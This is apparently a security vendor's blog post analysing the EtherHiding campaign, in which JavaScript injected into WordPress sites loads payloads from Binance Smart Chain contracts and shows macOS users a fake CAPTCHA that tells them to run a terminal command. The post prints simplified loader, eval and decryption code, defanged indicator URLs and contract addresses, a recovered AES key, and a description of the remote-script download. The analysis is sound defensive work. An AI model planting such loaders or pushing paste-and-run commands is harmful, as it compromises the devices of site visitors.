Attacks Blog

The Blockchain Is Not Your Friend: Examining EtherHiding and using Blockchain for Attacks

In March/April of 2025 a ClickFix variant was going around that used the Binance blockchain with smart contracts to control malware payloads that would surface from a hacked WordPress plugin.

Sep 02, 2025 • Updated Jul 20, 2026 • 9 min read

Jack LaFond Security Researcher

Examining EtherHiding and Blockchain for attacks banner

Table of Contents

TL;DR: Binance Smart Chain smart-contract ClickFix payload delivery

No host to unplug: Takedowns are the industry's favorite metric. EtherHiding retires the metric. When the payload lives inside a Binance Smart Chain smart contract, there is no host to notify, no registrar to lean on, no server to unplug.
Payload lives on-chain: The Orchid contract at 0x8FBA1667BEF5EdA433928b220886A830488549BD delivered five Base64+gzip payloads via getter functions across an estimated 19,800 compromised websites, ending in a ClickFix terminal command AES-decrypted on the fly. cside monitors what the browser actually executes at runtime, so on-chain payloads are visible the moment they render.
Runtime is the checkpoint: If your defense strategy relies on domain takedowns and reputation lists, retire that assumption this quarter. Attackers moved to immutable, decentralized hosting, and your only remaining checkpoint is the runtime in the user's browser.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

Less than two weeks ago, one of many dormant smart contracts residing on the Binance Smart Chain suddenly surged back to life. The attacker updated the contract variables, reactivated the payloads, and the attack is now potentially active on over 19,800 compromised websites.

The attack is known as EtherHiding, and it primarily uses blockchain smart contracts to deliver dynamic ClickFix-style captcha payloads to victims. We initially wrote about ClickFix attacks targeting macOS back in February, but as with all attacks, the delivery method has since changed. This growing class of client-side threats is increasingly difficult to detect, let alone mitigate.

We are cside, and we monitor client-side, third-party JavaScript attacks. In Q1 of 2025 alone, we observed over 300K compromised websites.

Why Binance Smart Chain?

Binance Smart Chain (BSC) is a blockchain platform built to run smart contract-based applications for cryptocurrency users. Unlike traditional chains such as Ethereum, BSC emphasizes low transaction costs and high throughput, which makes it attractive to decentralized finance developers and threat actors alike.

Using these smart contracts, a threat actor can store malicious payloads on-chain, which gives a few benefits to an attacker over traditional cloud infrastructure:

Immutable hosting (because once it's on the blockchain, it exists forever)
Decentralized storage with no ability to take it down
Real-time updating through contract functions

In this EtherHiding campaign, getter and setter functions within these contracts are used to deliver JavaScript payloads that adapt to the victim's environment. They decrypt and decompress in the browser, and execute.

Analyzing the attack chain

The attack starts with injected vulnerable code in the <head> tag of a site, primarily on WordPress installations. Our analysis points to vulnerable plugins as the likely access vector. Once the malicious code is inserted in the site, it kicks off a multi-stage attack that gathers its next steps from the blockchain itself.

Diagram of the EtherHiding attack flow starting with code injected into the page head

Step 1: Initial Compromise & Setup

The first point of contact for this malicious script is a Web3 connection to the Binance Smart Chain, not an attacker-controlled server. The script reaches out to the smart contract at address 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, kicking off the attack by asking for further instructions from this contract.

The returned contract ABI (Application Binary Interface - or a list of instructions in the contract) and information are both Base64-encoded and gzip-compressed, requiring the script to decompress them using the library pako (a JavaScript port of the zlib compression library) before they can be parsed and used.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");


const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

After establishing contact, the script calls a blockchain function to return the next smart contract address, located at 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Step 2: Multi-payload loader through tokyoSkytree

The contract **0x8FBA1667BEF5EdA433928b220886A830488549BD**, internally named the Orchid contract, is the most important contract of the attack chain.

Inside of this contract holds five essential functions that determine what happens next in the attack:

tokyoSkytree
akihabaraLights
asakusaTemple
ginzaLuxury
shibuyaCrossing

The core of the attack is initiated by the function **tokyoSkytree**, which behaves like a remote-controlled loader and orchestrator for the entire payload. It executes the other four smart contract functions one after another, each returning a compressed and Base64-encoded JavaScript blob to further obfuscate its responses.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

Each of these smart contract functions return a payload that is decoded and dynamically executed using the function **teaCeremony**:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

This (simplified) pipeline decodes the Base64 string, decompresses it with gzip, and executes it using the eval function. This design makes the attack campaign both modular and agile, as the payloads stored on chain can be swapped out incredibly quickly.

Step 3: Fingerprinting the victim

shibuyaCrossing - Determine the operating system


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

akihabaraLights - Determine the browser


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

The two functions shibuyaCrossing and akihabaraLights are used to fingerprint the victim's environment through their operating system and browser information. This information is used later to serve a specific version of the attack based on what browser or OS is used.

Step 4: Decryption and payload injection

After fingerprinting the user's environment, **ginzaLuxury** reaches out to a third and final smart contract (located at0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, named the Jade contract) that again loads more functions.

Notably: **getRandomSkylineByBrowserAndPlatform**.

This function, after passing the browser and operating system variables determined previously, returns a URL to fetch with the encrypted HTML to display. Downloading this payload and decrypting it with the function **pearlTower**, which contains an AES-GCM decryption key, the attack is finally injected in a fullscreen iframe tag that overlays the victim's screen.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

Based on our research the only currently active URL is **https://yie-cpj[.]pages[.]dev/mac**, which has an active payload for Firefox, Google Chrome and Safari users on macOS.

Step 5: Analyzing the encrypted HTML

To validate the final stage of this attack, we decoded and analyzed the encrypted HTML that is hosted on **https://yie-cpj[.]pages[.]dev/mac**. Using a script developed during research, we were able to collect the blockchain transactions, decode each payload sent to the contract, and determine the last valid decryption key used.

The key **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** can be used to decrypt the HTML payload using the decryption function **decryptScrollToText**:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

The resulting HTML is a ClickFix-style phishing payload that's designed to appear like a reCAPTCHA verification page. Rather than validating the user using images, it instructs a victim to:

Open the macOS terminal
Paste and execute a Base64 encoded command that dynamically retrieved from the **jadeCode()** function on-chain

Fake verification page instructing users to paste and run a Base64-encoded command

The terminal command shown to users uses Base64 to obfuscate the payload URL: https://kimbeech[.]cfd/cap/verify.sh.

While the URL was inactive at the time of analysis and the **verify[.]sh** script could not be retrieved for further examination, the structure and delivery method leave no doubt about the attacker's true intent.

By instructing a victim to run a clipboard-injected command in their terminal, the attacker is attempting to execute a remote Bash script under the guise of a familiar CAPTCHA verification process. This is a key characteristic of the ClickFix social engineering technique, and it poses a serious risk of full device compromise.

Why client-side security matters more than ever

Attacks like EtherHiding show how far client-side threats have evolved. They are modular, obfuscated, and increasingly delivered through decentralized infrastructure that can't be shut down.

Because the payload lives within the browser and reacts based on the user's environment, these attacks can fly under the radar of traditional server-side protections. They don't even require exploiting the server itself. All they need is the victim to load the page.

Staying ahead of these threats means monitoring both your code and what your browser actually executes: third-party scripts, injected assets, and behaviors that can mutate in real time. As client-side attack surfaces grow more complex, so must the defenses built to catch them.

Glossary

Name	Contract Address	Purpose
Loader	0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53	Initial contract providing orchid ABI and address
Orchid	0x8FBA1667BEF5EdA433928b220886A830488549BD	Main execution logic that delivers Base64 + gzip JavaScript
Jade	0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA	Stores encrypted payload URLs and AES-GCM keys

URL	Behavior
https://yie-cpj[.]pages[.]dev/mac	Fullscreen CAPTCHA phishing overlay (macOS-targeted)
https://hfdjmoedkjf[.]asia/	Telemetry endpoint used to log user-agent strings
https://kimbeech[.]cfd/	Remote shell script URL (currently inactive)
https://orange-service[.]xyz	Telemetry endpoint on the attack page, also used for reporting user-agent strings

Contract	Function	Role in Attack
Orchid	tokyoSkytree()	Entry point that loads and executes other contract functions
Orchid	shibuyaCrossing()	Returns operating system detection script
Orchid	akihabaraLights()	Returns browser detection script
Orchid	ginzaLuxury()	Loads the Jade contract and also triggers the decryption and rendering flow
Orchid	asakusaTemple()	Sends telemetry data back to threat actor
Jade	getRandomSkylineByBrowserAndPlatform()	Returns AES-GCM decryption key for HTML popup payloads
Jade	pearlTower()	Exposes all payload mappings with URLs
Jade	getAllSkylines()	Allows attacker to change decryption key (e.g., rotate encryption)
Jade	setPearlTower()	Allows attacker to swap payload URLs across multiple platforms

Security Researcher Jack LaFond

I'm a security engineer + security researcher at cside.

Back to top

Don't just take our word for it, ask AI

Monitor and Secure Your Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Book a demo

Start for free

Start free, or try Business with a 14-day trial.

cside dashboard interface showing script monitoring and security analytics

Carding Attack: What It Is and How to Detect the Automation Behind It

A carding attack tests stolen or generated card numbers against your checkout at scale. Understand the attack, spot the browser-layer signature, and stop it.

Card Not Present Fraud: How CNP Attacks Work and How to Prevent Them

Card not present fraud drives most online payment losses. Understand how CNP attacks work, the browser signals that expose them, and the controls that stop them.

What is a BIN Attack? How to Detect and Stop Automated Card Testing

A BIN attack tests thousands of stolen or generated card numbers against your checkout. Detect the browser-layer signature and stop it before it costs you.

How to Detect Anthropic Computer Use on Your Website

Anthropic's Computer Use agent controls a real browser to complete tasks. Detect the signature at the browser layer before the agent transacts on your site.

What is formjacking? How it works and how to detect it

Formjacking injects malicious JavaScript into checkout pages to steal card data as it is typed, invisible to WAFs and CSPs. Here is how to detect it.

Inside a Live, Real-Time Google Credential-Phishing Kit: Fake CAPTCHA, Blob URLs and Encrypted WebSockets

A technical investigation of a live Google credential-phishing kit using fake CAPTCHA, blob URLs, remote-browser streaming and encrypted WebSockets.

Cookie Theft and Session Hijacking: How Attackers Steal Sessions and How to Stop Them

Cookie theft is when an attacker captures a session token from a logged-in user and replays it to impersonate them. No password needed, no MFA prompt. Here is how the attack works and how to stop it.

Homoglyph attacks: how аpple.com fools users and how to detect the substitution

Homoglyph attacks in 2026: аpple.com is not apple.com (and how to actually detect the difference)

Homoglyph attacks use visually identical Unicode characters to register lookalike domains for phishing and script injection. Here is how they work, why browsers stopped protecting you, and what actually detects them.

TLS fingerprinting: what the ClientHello reveals about the client library

TLS fingerprinting in 2026: what the ClientHello reveals (and where the signal fails)

TLS fingerprinting identifies the client library from the ClientHello handshake, before a single byte of HTTP is decrypted. Here is what it catches, what it misses, and where it belongs in a full detection stack.

Credential Harvesting: How Attackers Steal Passwords in 2026

Credential harvesting has moved from bulk phishing to session cookie theft, Evilginx style MFA bypass, and third party script injection at login. Here is how detection actually works.